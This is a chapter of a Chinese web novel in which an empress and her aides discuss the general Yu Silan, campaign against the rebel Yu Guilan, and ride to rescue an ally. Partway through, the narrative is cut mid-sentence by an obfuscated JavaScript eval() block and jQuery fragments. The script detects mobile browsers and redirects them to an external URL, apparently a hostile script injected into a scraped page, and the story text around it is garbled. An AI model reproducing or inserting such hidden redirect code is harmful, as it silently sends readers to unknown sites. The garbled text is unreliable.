红荔挂绿 作品

29.潭西(一)

虞归岚的潭西军,在珞益郡城外进攻不到两日,便自行退兵了。


撤退的时候甚至留下了大量辎重,走得十分匆忙。


据哨探回报,这一次潭西军在于思兰带领的于家军强攻之下,又连失两城,只得仓皇放弃西侵,回兵救急。


如此一来,除了毗邻冀北路的虞州三郡外,潭东诸郡已尽在江南朝廷之手。


这其中,虞归岚后院起火,于思兰在后方起到了极大的牵制作用。


这于思兰,究竟是何样人物?竟叫虞归岚也吃了个大瘪?


这日,穆晴与陆彤、司空盈三人围坐亭中烤肉。穆晴一边翻动着竹签子上的鹿肉,一边问陆彤。


陆彤接管探事司以来,雷厉风行,联系上了探事司旧部,在各路地方重建了信息网,并用她治军般的办事方法整顿了一番,如今的探事司耳目一新,成了穆晴的得力信息来源。


司空盈在旁边也应和道:“是啊,我少时也听过潭西于家军,就是于思兰他们家的吧?”


陆彤点头:“于思兰是于家军统帅于洪独女,虞归岚是于家赘婿。”


这一下,穆晴、司空盈更来了兴趣。


陆彤一边为穆晴切鹿肉,一边细细说来。


当年于家军名震潭西,于洪将军膝下无子,年近四十有了于思兰这个独女,而族中子弟也无几个能成气候的,便一直想着招个上门女婿。


六七年前,于思兰年满二十,这婚事便要提上日程了。


消息传出,很多大历军中的青年俊杰都跃跃欲试。


“听说当年于洪很是喜欢顾维朗将军呢,可惜顾将军当时年方十六,年纪差的有点大了。”


穆晴奇道:“顾维朗也在潭西军历练过?”


陆彤点头:“顾将军十二岁时,便开始跟着太子在各军历练,与于洪应有过一段交情。”


司空盈道:“那虞归岚有何过人之处,竟万里挑一选出来了?”


陆彤道:“虞归岚本是潭西军中斥候,据说他身手了得,样貌英俊,更难得的是头脑灵活,屡立战功。最重要的,是他曾英雄救美,单枪匹马将于思兰在重重包围中救出。”


司空盈又道:“那如今为何于思兰又跟他反目了呢?”


陆彤道:“据说是因为虞归岚偷偷养了个外室。”


刚成婚时,虞归岚处处恭顺,于洪带着他平乱,给他铺路,从一个斥候升到了厢军都指挥使。


后来于洪病逝,他便接了这潭西经略安抚使的统帅之位。


经过多年历练,于家军都被他安插了心腹,归他掌控。


自那以后,虞归岚的狐狸尾巴便露出来了,开始养外室,排除异己。


穆晴叹道:“何必为他人做嫁衣裳。于洪不能让于思兰自己掌军吗?”


陆彤道:“自古军中重男轻女,女子为将已是稀少,一军统帅更是从未有之,于洪将军也是遵循旧俗罢了。”


司空盈对这可太有感触了:“就是,不仅是军职,还有承爵承侯,凭什么不能是女子,平白便宜了那些笨蛋。”


穆晴知她愤慨,笑着拍了拍司空盈的肩膀,道:“这次我们要跟于家军夹击虞归岚,待凯旋之时,我们请上于思兰一起喝酒,到时候你们两个好好痛骂痛骂这些臭规矩。”


司空盈愤愤道:“臣定加快运送物资的管事,助陛下踏平潭西。”


穆晴端起鹿血酒,与二人碰杯:“这臭规矩根深蒂固,一时半会还破除不了。我们更要勉力奋发,做个榜样,届时改起规矩来,方有说服力。”


司空盈、陆彤闻言,皆齐声应诺,三人满饮此杯。


……


冬月朔日,凌冽的寒风与江南军一同到来,横扫潭西颖堎、宽津等郡。


虞归岚的十万大军,被于家军与江南军两面夹攻,锐气尽失,连连失地,损兵折将,只剩六万不到,困守沧山一带。


顾维朗向女帝请示,率军向东行三百里,与于家军汇成一股,彻底切断冀北叛军与潭西军的联系,然后在南方彻底摁灭潭西军。


穆晴自然批准。


此次说是御驾亲征,实际上遇刺以后,顾维朗均以陛下需要养脚伤为由,劝阻她上前线。


接下来几个州郡,顾维朗说是做前锋先行,往往穆晴未到战场,捷报便已送到案上了。


虽说不劳而获很爽,但也少了点乐趣。


此次她定要随军前往,好好会一会这女中豪杰于将军。


大军日行夜宿,穆晴脚好了以后,马车坐烦了便骑马,一路下来竟也慢慢习惯了。


这日路经璃湖,风光优美,穆晴更是纵马小跑了一段,十分惬意。


顾维朗不放心,一路骑马跟随。


“陛下腿伤方愈,还是坐马车稳妥。”


穆晴回头盯着顾维朗:“没事儿,顾将军以为是在秋狩呢?有马骑已经不错了。”


顾维朗一噎,知她是在点自己。


当初叛军入京,他护送女帝南逃,一路昼夜骑马,女帝支撑不住,可怜兮兮地向他讨一辆马车来坐。


他当时冷笑拒绝:“陛下以为是在秋狩呢?丧家之犬哪里能有马车可坐。”


穆晴看他脸色白了又红,“噗嗤”笑出声来:“我在开玩笑呢!”


顾维朗也露齿一笑,跟着纵马的女帝又跑了一段。


女帝见他方才脸红的样子,比平日的端肃要可爱几分,便想再逗逗他。


“顾将军。”


“嗯?”


“听闻于洪老将军当年军中选婿时,曾经属意于你呢。”


顾维朗闻言一愣:“并无此事。”


他催马快走两步,与穆晴并行,道:“我昔年在军中时,有幸跟随过于老将军一段时日,于家姐姐对我也很是照顾,不过她对我绝无此意。”


穆晴道:“于家姐姐,叫得这么亲热。她选了那虞归岚,现下也掰了。说不定正后悔当初没听于老将军的呢。当初于老将军眼光不错……”


顾维朗脸色一肃:“顾家只我一人,需承继香火,于老将军与家父相熟,自然不会想此等事,那些传闻尽是无稽之谈。”


又冷冷道:“相比这些无关紧要之事,陛下还是多关心战事吧。”


说完,一勒马绳,座下的白马减速,他便远远退后了几步。


穆晴耸耸肩,怎地才逗第二次便恼了。


系统不会因


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986881|160153||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


此又说我什么远忠臣,扣我封禅积分吧?


如此想着,她正想说点什么来缓和下氛围,却见前方传令兵飞骑而来。


“哨探急报,于家军在夏亭与潭西军对阵时,于家军董伯升、董叔升兄弟阵前倒戈,于家军大乱,于思兰不知所踪。”


顾维朗急问:“现下离夏亭还有多远?”


“八十里。”


顾维朗立刻请命,要率前锋营八千,轻骑急行,先去支应。


穆晴点头:“盟军有难,去救是自然之理。”


顾维朗忙回队点兵,不一时便带着八千精锐,整队待发。


原为于家军送信的庚森与于念兰闻讯也急纵马赶来,要一同前去。


顾维朗令二人跟上,正要出发。却见女帝也换了一身轻甲,带了一百亲兵,已在前路等候了。


顾维朗上前拱手行礼:“陛下,前方敌势未明,请陛下允臣先去探明情况……”


穆晴抬手止之:“我穆氏先祖屡次亲征,均身先士卒,御驾亲征哪有一直缩在后方之理。”


顾维朗大急,还欲劝阻。


却见女帝单骑凑近,低声道:“我的目力好,上次柴矶镇一战足以证明。如今正好派上用场。”


顾维朗犹豫之时,却见于念兰于拍马上前:“陛下,我堂姐如今危在旦夕,前锋营需急速前行,陛下娇贵,还请不要拖慢大军速度……”


言语之间,竟毫不客气。


穆晴眉毛一扬,还没说什么。


只听顾维朗厉声喝道:“大胆,不得无礼!还不退下?”


于念兰讪讪闭嘴。


穆晴看了一眼在旁低头沉默的庚森,淡淡道:“无妨。”


随即拨转马头向前,一夹马腹:“出发!”


顾维朗无法,只得令副官马上再点八千骑兵紧跟其后,便立时率队出发了。


一路上,穆晴全速前进,丝毫不逊于普通骑兵。


穆晴自穿越以来,屡屡遇险,她思安思危,是以常常在闲暇时练习骑马。


加上女帝原身酷爱狩猎,骑射底子本就不差,如今勤加练习之下,骑术自然越发熟练了。


先锋营一口气跑了四十多里,中途在溪流旁歇息、饮马。


穆晴寻了一处树桩,装作闭目休息,召出了系统。


前一阵子为了查验内奸,花光了封禅积分换预言家卡牌。


幸而近日江南军屡屡获胜,封禅积分上又增加到了3000分。


如今穆晴打算用村民卡牌,看看那于思兰陷军何处,他们好去救助。


毕竟,于思兰目前对于江南朝廷而言,十分重要。


一则,有她号召于家军旧部,牵制削弱潭西军,江南军省了多少精力。


二则,她是叛军内部头一个响应起兵江南朝廷的。保她平安,便是千金买马骨的佳话;她若败了,日后其他叛军想降也会犹豫三分。


再者,穆晴觉得这个被赘婿背叛的姐姐甚是可怜,于公于私都想拉她一把。


用村民卡牌,需得先查验身份。


穆晴轻车熟路,先换预言家卡牌,报上名号。


“奸。”


穆晴:?